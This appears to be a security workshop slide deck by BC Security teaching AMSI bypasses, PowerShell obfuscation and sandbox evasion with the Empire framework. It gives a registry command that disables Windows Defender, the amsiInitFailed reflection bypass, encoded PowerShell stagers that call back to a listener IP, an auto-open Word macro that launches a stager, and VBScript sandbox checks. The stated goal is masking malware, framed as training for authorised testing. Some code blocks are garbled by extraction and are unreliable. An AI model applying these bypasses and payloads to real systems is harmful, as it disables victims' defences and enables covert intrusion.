Introduction to Sandbox Evasion and AMSI Bypasses

ANTHONY ROSE
JACOB KRASNOV
VINCENT ROSE

@bcsecurity1
Legal Stuff...So we don’t go to jail

Training is for informational and research purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The information provided by us is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis.
whoami

ANTHONY ROSE
C01И
- Co-founder, BC Security
- Lead Researcher, Merculite Security
- MS in Electrical Engineering
- Lockpicking Hobbyist
- Bluetooth & Wireless Security Enthusiast

JACOB KRASNOV
HUBBLE
- Co-founder, BC Security
- BS in Astronautical Engineering, MBA
- Red Team Lead
- Currently focused on embedded system security

VINCENT ROSE
HALCYON
- Security Researcher, BC Security
- BS in Computer Science
- Software Engineer

Introduction
Why are we here?

- How to mask your malware to avoid AMSI and Sandboxes

Neo let me tell you why you're here.....
Overview

- Antimalware Scan Interface (AMSI)
- Malware Triggering
- Empire
- Obfuscation Techniques
- Invoke-Obfuscation
- AMSI Bypasses
- Sandbox Evasion
- Put it all together
Goals

- Introduce Microsoft’s Antimalware Scan Interface (AMSI) and explain its importance
- Learn to analyze malware scripts before and after execution
- Understand how to obfuscate code to avoid AMSI and Windows Defender
- Detect and avoid sandbox environments
Expectations

We **will** teach you to...
- operate Empire
- obfuscate Powershell
- avoid AMSI and Sandboxes

We are **not** going to teach you...
- how to be a “leet hacker”
What is Malware?
Overview of the Evolution of Malware Obfuscation

- Obfuscation is the main means by which Malware achieves survival
- Defeat signature-based Antivirus
- Makes analysis more difficult
The Early Days

The first virus to obfuscate itself was the Brain Virus in 1986
  ◦ Would display unchanged data from a different disk sector instead of the one it had modified

The first virus to use encryption was the Cascade Virus and also appeared in 1986
  ◦ Used simple XOR encryption

First commercial AV products came out in 1987
  ◦ This included heuristic based AV products!
The Malware Arms Race continued and by 1992 polymorphic virus engines had been released
- Could be attached to non-polymorphic viruses to make them more effective

What is Malware
AV wasn’t far behind and soon started to include emulation code to sandbox the malware

- There were evasion techniques but we will talk about this later

By the 2000s malware had moved on to so called metamorphic viruses
- Polymorphic viruses only change their decryptor while metamorphic change the code body as well
Going Fileless

Not really completely Fileless

◦ Usually requires some kind of initial script/executable to kick off infection
◦ Persistence methods may leave traces in places like the registry (e.g., Poweliks)

This created a big problem for AV as it has traditionally relied on scanning files/executables

All of this leads into...

What is Malware
Antimalware Scan Interface (AMSI)
What Is AMSI?

The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.
That’s Great But What Does that Mean?

- Evaluates commands at run time
- Handles multiple scripting languages (Powershell, JaveScript, VBA)
- Provides an API that is AV agnostic
- Identify fileless threats

![AMSI integration with JavaScript/VBA](image)
Data Flow
One point of clarification (Powershell)

The code is evaluated when it is readable by the scripting engine. This means that:

```
PS C:\Users\dredg> powershell -enc VwByAGkAdABLAC0ASABvAHMAdAAoAClAdABLAHMAdAAAiACKA
```

becomes:

```
PS C:\Users\dredg> Write-Host("test")
```

However:

```
PS C:\Users\dredg> Write-Host ("te"+"st")
```

Does not become:

```
PS C:\Users\dredg> Write-Host("test")
```

This is what allows us to still be able to obfuscate our code.
Malware Triggering
Types of Windows Mitigations

- Windows Defender
- Antimalware Scan Interface (AMSI)
- Control flow guard
- Data Execution Prevention (DEP)
- Randomized memory allocations
- Arbitrary code guard (ACG)
- Block child processes
- Simulated execution (SimExec)
- Valid stack integrity (StackPivot)
Flagged Malware

Malware Triggering
Windows Defender Logs

Get-WinEvent 'Microsoft-Windows-Windows Defender/Operational' -MaxEvents 10 | Where-Object Id -eq 1116 | Format-List
Try Some Code Samples

1. Run Powershell ISE
2. Look in the sample folder
3. Try out samples 1-3
Building/Customizing Your Malware
Don’t Do Too Much at Once

Prioritize what you want to complete

1. Get working base code first
   - Empire, Metasploit, Etc
2. Customize Functions
3. Obfuscate Code
4. Test Against AV
Disabling Windows Defender

New-ItemProperty -Path "HKLM:\Software\policies\microsoft\windows defender" -name disableantispyware -value 0 -Force

Restart computer/VM
Empire Tutorial
What is Empire?

Post-exploitation framework built around Powershell

- Merger of Powershell Empire and Python EmPyre projects
- Runs on Python 2.6/2.7
- Encrypted C2 channel
- Adaptable modules
  - .bat, .vbs, .dll
- Released at BSidesLV 2015
Why Go After Powershell?

- Full .NET access
- Direct access to Win32 API
- Operates in memory
- Installed by default in Windows
- Admins typically leave it enabled
How Empire is Deployed?

Relatively small payload (stager) that calls back to a listener

1. GET /<stage0>
2. return key negotiation stager.ps1 w/ shared AES staging key
3. gen priv/pub keys, post ENCstaging(PUB) to /<stage1>
4. return ENCpub(epoch + AES session key)
5. decrypt session key, post ENCsession(sysinfo) to /<stage2>
6. return ENCsession(agent.ps1) patched with key/delay/etc. and register agent. Agent starts beaconing.
Empire Tutorial

Preloaded into VM

https://github.com/BC-SECURITY/Empire

Install our forked version (Do not use version 2.5)
- sudo ./setup/install.sh
- setup ./reset.sh
Empire Tutorial

Splash page
- Version running (We are using a modified dev version)
- How many modules loaded
- Active Listeners
- Active Agents
“Help” lists out all available commands
- Agents – Active payloads available
- Interact – Control a payload/host
- Preobfuscate – Obfuscates Powershell module (not needed)
- Set – Modify payload settings
- Usemodule – Select Empire Module
- Uselistener – Select Listener
- Usestager – Select Empire stager (we will be using macros)
Empire Tutorial

Setting up your listener

(Empire) > listeners

[*] Active listeners:

<table>
<thead>
<tr>
<th>Name</th>
<th>Module</th>
<th>Host</th>
<th>Delay/Jitter</th>
<th>KillDate</th>
</tr>
</thead>
<tbody>
<tr>
<td>Test</td>
<td>http</td>
<td><a href="http://192.168.1.187">http://192.168.1.187</a></td>
<td>------------</td>
<td>5/0.0</td>
</tr>
</tbody>
</table>

Select “uselistener http”
Empire Tutorial

Use edit to modify Listener info

- “set Name LISTENERNAME”
- “set Host YOURIPADDRESS”
- “set Port PORTNUMBER”
- “execute”

(Empire: listeners/http) > execute
[+] Starting listener 'Test1'
[+] Listener successfully started!
Usestager

- Tailor the stager to what the target is
- "Multi/Launcher"
- Useful for testing VM setups
Testing the Launcher

Setting the stager and listener

Successful callback to Empire

(Great Success)
New-ItemProperty -Path "HKLM:\Software\policies\microsoft\windows defender" -name disableantispyware -value 1 –Force

Restart computer/VM
Testing the Launcher

Setting the stager and listener

(Empire) > usestager multi-launcher
(Empire: stager/multi/launcher) > set Listener Test1
(Empire: stager/multi/launcher) > execute

powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAIAcwBJAE8AbgBUAGEAYgbsAEUALgBFQAMAvgBlAFIAcwB
AGUARqBdAClAQOB2AFMARQBNAEIATABZAc4ARwBlAFQAYABZAAARQoAoACcAUw5AHAAdABL/AG0ALgBNAGEAdgBhAGcAZQBTA
GUAgTAFABTAEIACKAAAnAGMYQBJAGqAZQBkAEcAcgBvAHUAcABQ4G3AbABpAGNAeQBTAGUAAdABOAGkAgBNHMAJwA
AGYAKAgAEQANyAYGAKQ7ACmAqBLAGUNw9ACOqAARZAAZDIARgAuAEcCZQB0AFYAYQOBsAHUZQ0AoACqATgB1AgwABAApADs
TAbvAgCzAwBpAg4AZwAnAF0AQKB7ACQAMgBlAGUNwBbAccAuWbfJAHIAoBwAhQAQ9AnAcJwBsAG8AYwBrAEwAbwBnAGCaAgQB
AGsTAAYAgACZwBpAg4AZwAnAF0AQAwAdSAJAYaAEUARQ4A3AFsAJwBTAGMAcBpAHAdABCAAcCkAwAnAGwAbwBjAGsTATAbvAgC
awBJ4AgdGvBvAGMYQBOgAkwBwBuArwAbwBnAgC:ACaQ8uBAGwAJoJwdAD0AAMB9ACaqBhAgwAPQBbAEMAbwBMGwARQBJqFAOSB
AHIAuBB0QbAcALABTAHkCwB0AUGUT0AUAEAYyBqBqGAYwyBBAF0AQX6AoAqTjBhAFcAIApADsAJAB2AGEAbAAtAEZAABkACg
ZwBpAg4AZwAnACwMAAcpADsAJAB/AEEATAAuAEEARABAcAGJwBAQ4AYQBIAgwAZQBTAGMAcBpAHAdaABCAAgwAbwBjAGsASQB
ADcAYwAnAnAcgASwBFABfAxAwBMAM8Ad0AwBBAwBAwAXw8BAEw6AE0wBIEKtjBGFAFwJwAyBAGyAdBA3AGEAAcB1FwAUAByAGwAz0BjAGk
ZQByAFMAaAB1AgwAAbACcAFMAYwByAGKAcAB0AIAJwArACcAbABvAGMAawBMG8AZwBnAGkAbgBnACcAXQA9ACQAdgBhAGwAfQB

Empire
Build the stager
- Select “usestager multi/launcher”
- “info” to view settings
- Turn off Obfuscation

Test your Empire Payload

(Empire: `stager/multi/launcher`) > set ObfuscateCommand False

(Empire: `stager/multi/launcher`) > set AMSIBypass False

<table>
<thead>
<tr>
<th>Name</th>
<th>Required</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ProxyCreds</td>
<td>False</td>
<td>default</td>
<td>Proxy credentials (domain\username\password) to use for request (default, none, or other)</td>
</tr>
<tr>
<td>Language</td>
<td>True</td>
<td>powershell</td>
<td>Language of the stager to generate.</td>
</tr>
<tr>
<td>Base64</td>
<td>True</td>
<td>True</td>
<td>Switch. Base64 encode the output.</td>
</tr>
<tr>
<td>OutFile</td>
<td>False</td>
<td>True</td>
<td>File to output launcher to, otherwise displayed on the screen.</td>
</tr>
<tr>
<td>Obfuscate</td>
<td>False</td>
<td>False</td>
<td>Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only. The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only. Include cobb’s Script Block Log Bypass in the stager code. Include Tal Lieberman’s AMSI Bypass in the stager code. Switch. Check for LittleSnitch or a SandBox, exit the staging process if True. Defaults to True. Times for the stager to retry connecting. Listener to generate stager for. Proxy to use for request (default, none, or other). User-agent string to use for the staging request (default, none, or other). Include manifestation’s AMSI Bypass in the stager code.</td>
</tr>
<tr>
<td>ObfuscateCommand</td>
<td>False</td>
<td>Token\All\1</td>
<td></td>
</tr>
<tr>
<td>ScriptLogBypass</td>
<td>False</td>
<td>True</td>
<td></td>
</tr>
<tr>
<td>AMSIBypass2</td>
<td>False</td>
<td>False</td>
<td></td>
</tr>
<tr>
<td>SafeChecks</td>
<td>True</td>
<td>True</td>
<td></td>
</tr>
<tr>
<td>StagerRetries</td>
<td>False</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>Listener</td>
<td>True</td>
<td>Test1</td>
<td></td>
</tr>
<tr>
<td>Proxy</td>
<td>False</td>
<td>default</td>
<td></td>
</tr>
<tr>
<td>UserAgent</td>
<td>False</td>
<td>default</td>
<td></td>
</tr>
<tr>
<td>AMSIBypass</td>
<td>False</td>
<td>True</td>
<td></td>
</tr>
</tbody>
</table>
Test your Empire Payload

Final check on settings

- All obfuscations are disabled
- Both AMSI Bypasses are disabled
- Good to Go!
- "execute"

Test your Empire Payload
Test your Empire Payload
Empire Tutorial

Default Empire will not get past AMSI
- Obfuscation or changes are needed
- Default Empire will get you caught
Obfuscation Techniques
Randomized Capitalization

Powershell ignores capitalization

- Create a standard variable
  
  ```
  $test = "hello world"
  ```

- This makes
  
  ```
  Write-Host $TEst and Write-Host $teST
  ```

- The same as...
  
  ```
  hello world
  ```

- AMSI ignores capitalization, but changing your hash is a best practice
AMSI is still heavily dependent upon signatures, simple concatenation can circumvent most alerts

$\texttt{\texttt{var1}} = "\texttt{amsicontext}" \texttt{will be flagged}

But, $\texttt{\texttt{var1}} = "\texttt{amsi} + \texttt{context}" \texttt{is not flagged}
Variable Insertion

Powershell recognizes $ as a special character in a string and will fetch the associated variable.

We embedded $var1 = 'context' into $var2 = "amsi$var1"

Which gives us PS C:\Users\dredg> $var2
amsicontext
Powershell allows for the use of {} inside a string to allow for variable insertion. This is an implicit reference to the format string function.

```powershell
$test = "amsicontext"  will be flagged
```

```
At line:1 char:1
+ $test = "amsicontext"
+ ~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainsMaliciousContent
```

But,

```powershell
PS C:\Users\dredg> $test = "amsi\{0\}text" -f "con"
```

Returns...

```powershell
PS C:\Users\dredg> $test
amsicontext
```

Obfuscation Techniques
XOR \(\oplus\)

Uses:
- Pseudorandom number generation
- Error detection
- Encryption/Decryption
  - Reversible function

\[
\begin{array}{ccc}
A & B & A \text{ XOR } B \\
0 & 0 & 0 \\
0 & 1 & 1 \\
1 & 0 & 1 \\
1 & 1 & 0 \\
\end{array}
\]
Obfuscate the Samples

Using Samples 1-3 from the early exercise attempt to obfuscate them so that they will run

Sample 3 can be difficult to figure out what is causing the issue
Save your modified versions as a different name. We will reuse the unobfuscated samples latter

Close/Open Powershell ISE between samples
Hints

- Break large sections of code into smaller pieces
- Isolate fewer lines to determine what is being flagged
- Good place to start is looking for “AMSI”
The Answers
Invoke-Obfuscation
Invoke-Obfuscation

Install here

- [https://github.com/danielbohanon/Invoke-Obfuscation](https://github.com/danielbohanon/Invoke-Obfuscation)
- “Start-up.ps1”
- “Import-Module ./Invoke-Obfuscation.psd1”
- Run “Invoke-Obfuscation”
Invoke-Obfuscation

Type “Tutorial” for high level directions

- Extremely helpful for learning/remembering the basics
Invoke-Obfuscation

Example code

- Use Sample 4
- SET SCRIPTBLOCK...
Invoke-Obfuscation

Token-layer Obfuscation

- Token\Variable (extremely useful for masking variable names to AMSI)
- Token\All (if you are super lazy)
  - This will get you caught
  - Typically run whitespace last (2-3 times)
Invoke-Obfuscation

Encoding

- Used to further mask the payload by converting the format (e.g., Hex, Binary, AES, etc)
- Beware: running too much encoding will break the 8,191 character limit
Invoke-Obfuscation

String

- Obfuscate Powershell code as a string
- Breaks up the code with reversing techniques and concatenation
Invoke-Obfuscation

Compress

- Can be used in conjunction with Encoding to reduce the overall size of the payload.
Invoke-Obfuscation

Launcher

- Not needed since Empire already includes a launcher
Invoke-Obfuscation

Order of operations
- Mix it up to avoid detection
- Example:
  - Token\String\1,2
  - Whitespace\1
  - Encoding\1
  - Compress\1
Invoke-Obfuscation in Empire

Obfuscation Techniques
AMSI Bypasses
Why do we need this?

If our payload is already obfuscated enough to evade AMSI why bother?

- Only the first part of the stager is obfuscated!
Why do we need this?

AMSI bypasses let us load whatever future modules we may want without issues

- Mimikatz, PS-Inject, Powerup
AMSI results

- AMSI_RESULT_CLEAN = 0
- AMSI_RESULT_NOT_DETECTED = 1
- AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
- AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
- AMSI_RESULT_DETECTED = 32768
Keep It Simple Stupid
Keep It Simple Stupid

Note: Windows Defender added a detection on 2/25/2019 which now detects this method as "AmsITamper.A"

```csharp
$Ref.GetField('amsiInitFailed', 'NonPublic, Static').SetValue($NULL, $TRUE);

$Ref=[REF].Assembly.GetType('System.Management.Automation.Amsi'+iUtils');
$Ref.GetField('amsiInitFailed', 'NonPublic, Static').SetValue($NULL, $TRUE);
```
Bypass 1: Reflective Bypass

Simplest Bypass that currently works

- $Ref.GetField('amsiInitFailed', 'NonPublic, Static').SetValue($NULL, $TRUE);
What Does it Do?

Using reflection we are exposing functions from AMSI

We are setting the AmsiInitField to True which source code shows causes AMSI to return:

- AMSI_SCAN_RESULT_NOT_FOUND

```csharp
if (AmsiUtils.amsiInitFailed)
{
    return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_FOUND;
}
```

AMSI.dll
Why does this work?

AMSI is loaded into the Powershell process at start up so it has the same permission levels as the process the malware is in.
More complicated bypass, but still allows AMSI to load
Bypass 2: Patching AMSI.dll in Memory

We use C# to export a few functions from kernel32 that allows to identify where in memory amsi.dll has been loaded.
We modify the memory permissions to ensure we have access
Bypass 2: Patching AMSI.dll in Memory

Modifies the return function to all always return a value of RESULT_NOT_DETECTED
Why does this work?

AMSI.dll is loaded into the same memory space as Powershell. This means that we have unrestricted access to the memory space that AMSI runs in and can modify it however we please. Tells the function to return a clean result prior to actually scanning.
Ensure that ObfuscateCommand and AMSI Bypass both display values

- “set ObfuscateCommand Token\All\1”
- “set AMSIBypass True”
Test time!

Re-enable Defender and run your Empire launcher
Sandbox Detection and Evasion
What is a Sandbox?

A software created environment that isolates and limits the rights and accesses of a process being executed.

An effective way of doing behavioral analysis for AV.
Who is using Sandboxes?

Use Gmail at work? Now you get security sandbox to fight 0-day threats, ransomware

Automated Malware Analysis & Sandbox: Falcon Sandbox

UNDER THE HOOD: OUR NEW EMAIL ATTACHMENT SANDBOX
As we talked about earlier, obfuscating code to break signatures can be relatively trivial.

- AV would need an almost unlimited number of signatures.

Heavily obfuscated code can make it almost impossible for human analysis to be effective.

Instead evaluate behavior.
Sandbox Indicators
They use a lot of resources which can be expensive

End users don't want to wait to receive their messages

Email scanning requires thousands of attachments to be evaluated constantly
These limitations provide us with several means to try and detect or evade them

- Password Protection
- Time Delays
- Auto open vs close
- Check for limited resources (small amount of ram, single core, etc.)
- Look for virtualization processes (sandboxie, VMWare tools)
Embedding Macros
Back to Empire

Usestager

- Tailor the stager to what the target is
- Our focus is Windows using a Macro (will be used later)
- “Windows/macro”
Creating a Payload

- Set stager and listener
- Copy macro over to Word

```
(Empire: stager/windows/macro) > set Listener Test
(Empire: stager/windows/macro) > execute
Sub Auto_Open()
  r
End Sub
Sub AutoOpen()
  r
End Sub
Sub Document_Open()
  r
End Sub

Public Function r() As Variant
  Dim dQWX As String
  dQWX = "powershell -nop -sta -w 1 -enc SQ8mACgAJABQAFMAVg"
  dQWX = dQWX + "BLAHIAuWbPEBAAbgBUXGEAYgBMAEULgBQAFMAVgBFAHIAuWbP"
  dQWX = dQWX + "AG8ATgAuAEQYQBEAE5AcAgAC8ARwBFACAAKnApAHsAJABED"
  dQWX = dQWX + "YANgBGAD8AwWyAGUAzgBdLA4A0OBzAHMRQBNAGl4dAB2AC4A"
  dQWX = dQWX + "RwBLaFQAVJAB5AHARQAgACuW5AHMc4dAB4GA0LqBNAGEAbg"
  dQWX = dQWX + "BhAAGcAZQ0tAGUAAbgB0AC4AUQ0B1AhQ0AbwBtAGEAdAbpAG8AbgAu"
  dQWX = dQWX + "AFUdABpAGwAcwAnACKLgA1AECzAQ5B@AYAaQBFAAGAAbABEC"
  dQWX = dQWX + "IAKAAAnAGMAY0BjAgA20BKAEcAcgBvAHHAcAB0AG8AbABpAGMA"
```
Embedding the Macro

Open Word Document
Select Developer Options
Click on Macros
Embedding the Macro
Evasion Techniques
When do we want to do this?

Before we do suspicious things such as...
- Starting a new process
- Reaching out to the internet

The checks could be suspicious themselves
- Sandbox Evasion is becoming more prevalent
Password Protection

The sandbox doesn't know the password and therefore can't open the file. No results are found so the file is passed on.

The password is usually sent in the body of the email with instructions to use it.

- Lower success rate
Time Delay

Email filters have a limited amount of time to scan files so delay until it the scan is completed

This is less practical in a macro as it will keep the document open until done waiting
Checking for Resources

Using WMI Objects you can enumerate the hardware and system configurations

Some malware looks for things like the presence of a fan
  • Note: WMI objects are very inconsistently implemented by manufacturers.
Checking for Resources

Some Useful WMI Objects

- Win32_ComputerSystem
- Win32_LogicalDisk
- Win32_Fan

```vbs
strComputer = ".
Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set ID = objWMIService.ExecQuery("Select IdentifyingNumber from *WMI_Object*")
```
Most if not all sandboxes result in the addition of management processes that we can look for

- Win32_Process contains all the processes currently running

Some common processes to look for:

- Sbiesvc, SbieCtrl
- Vmtools
- VBoxService
There is no one way guaranteed to work

Because of the control many developers have on implementing WMI objects or naming processes there is no one check that is guaranteed to work.

◦ Learn as much as possible about the target environment
◦ Use multiple halting conditions
◦ Check places like attack.mitre.org to look for new techniques if old ones fail
Covert tactic used to develop signatures on malware and prevent attacks

What do we know so far?

- Zero documentation anywhere
- We can get a callback out

Sandbox Evasion Example

```powershell
SetUp objWMIService = GetObject(" Winnmats:\" & strComputer & "\root\cimv2")
Set ID = objWMIService.ExecQuery("Select IdentifyingNumber from Win32_ComputerSystemproduct")
For Each objItem In ID
    If StrComp(objItem.IdentifyingNumber, "2UA20511KN") = 0 Then End
Next
Set disksize = objWMIService.ExecQuery("Select Size from Win32_logicaldisk")
For Each objItem In disksize
    If (objItem.Size = 42949603320#) Then End
ElseIf (objItem.Size = 68719443968#) Then End
Next
```
Put it all together

YOUR TURN TO TRY IT ALL
Put it all together

1. Build payload in Empire
   - AMSI Bypass
   - Obfuscation

2. Embed into Word Doc
   - Verification

3. Add in Macro Checks to avoid “Sandbox”

4. (Optional) Test on host machine
Questions?

INFO@BC-SECURITY.ORG
@BCSECURITY1
HTTPS://GITHUB.COM/BC-SECURITY/DEFCON27